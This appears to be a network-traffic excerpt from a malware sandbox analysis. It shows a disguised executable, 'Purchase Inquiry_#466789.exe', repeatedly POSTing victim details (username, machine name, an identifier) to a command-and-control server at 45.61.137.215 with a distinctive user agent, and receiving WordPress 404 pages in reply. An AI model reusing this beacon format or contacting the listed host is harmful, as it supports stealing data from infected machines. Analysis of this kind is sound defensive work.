May 27, 2024 08:32:36.116714954 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:36.116727114 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:36.116841078 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:36.116894960 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:36.116913080 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:36.117075920 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49756	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:36.447382927 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:36.452461958 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:38.642236948 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:36 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:38.642363071 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:38.642414093 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:38.642448902 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:38.642498970 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:38.642538071 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:38.642571926 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:38.642622948 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:38.642656088 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:32:38.642692089 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49757	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:38.792072058 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:38.797053099 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:40.933995962 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:39 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:40.934026957 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:40.934077024 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:40.934111118 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:40.934144020 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:40.934178114 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:40.934228897 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:40.934262037 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:40.934292078 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:32:40.934325933 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49758	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:41.223818064 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:41.229871035 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:43.330020905 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:41 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:43.330095053 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
